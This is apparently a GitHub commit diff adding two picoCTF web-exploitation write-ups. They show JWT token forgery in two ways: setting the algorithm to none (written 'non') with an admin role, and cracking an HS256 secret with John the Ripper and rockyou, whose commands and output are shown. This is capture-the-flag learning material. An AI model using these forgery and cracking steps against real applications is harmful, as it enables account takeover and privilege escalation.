File tree Expand file tree Collapse file tree
docs/picoCTF/Web Exploitation Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ # JAuth
2+
3+ Upon logging in with the given test credentials, we get a JWT cookie, decoding which gives:
4+
5+ ``` json
6+ {
7+ "typ" : " JWT" ,
8+ "alg" : " HS256"
9+ }
10+ ```
11+
12+ ``` json
13+ {
14+ "auth" : 1757758147878 ,
15+ "agent" : " Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" ,
16+ "role" : " user" ,
17+ "iat" : 1757758148
18+ }
19+ ```
20+
21+ Trying the attack in [ No Way JOSE] ( ../../Cryptohack/Crypto%20on%20the%20Web/JSON%20Web%20Tokens.md ) challenge of Crypohack:
22+
23+ ``` json
24+ {
25+ "typ" : " JWT" ,
26+ "alg" : " non"
27+ }
28+ ```
29+
30+ ``` json
31+ {
32+ "auth" : 1757758147878 ,
33+ "agent" : " Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" ,
34+ "role" : " admin" ,
35+ "iat" : 1757758148
36+ }
37+ ```
38+
39+ Encode the above to get a token, and edit the cookie. Reloading displays the flag!
Original file line number Diff line number Diff line change 1+ # JaWT Scratchpad
2+
3+ The homepage asks us to register with a name.
4+
5+ Using "admin" results in:
6+
7+ ``` text
8+ YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT.
9+ ```
10+
11+ Using any other name logs us in, and stores a JWT cookie, decoding which gives:
12+
13+ ``` json
14+ {
15+ "typ" : " JWT" ,
16+ "alg" : " HS256"
17+ }
18+ ```
19+
20+ ``` json
21+ {
22+ "user" : " john"
23+ }
24+ ```
25+
26+ The text on the page links to [ JohnTheRipper] ( https://github.com/magnumripper/JohnTheRipper )
27+
28+ ``` text
29+ Register with your name!
30+ You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like John!
31+ ```
32+
33+ Using the said tool:
34+
35+ ``` shell
36+ run $ echo " eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9._fAF3H23ckP4QtF1Po3epuZWxmbwpI8Q26hRPDTh32Y" > jwt.txt
37+ run $ ./john jwt.txt --format=HMAC-SHA256 --wordlist=/home/harshit/Downloads/rockyou.txt
38+ Using default input encoding: UTF-8
39+ Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
40+ Will run 12 OpenMP threads
41+ Press ' q' or Ctrl-C to abort, ' h' for help, almost any other key for status
42+ ilovepico (? )
43+ 1g 0:00:00:02 DONE (2025-09-13 15:49) 0.4310g/s 3188Kp/s 3188Kc/s 3188KC/s iluve$..ilovemymother89
44+ Use the " --show" option to display all of the cracked passwords reliably
45+ Session completed.
46+ ```
47+
48+ So, the SECRET is ` ilovepico `
49+
50+ Using this secret and payload {"user": "admin"}, create JWT token. Edit the value of the cookie, reloading now displays the flag!
You can’t perform that action at this time.
0 commit comments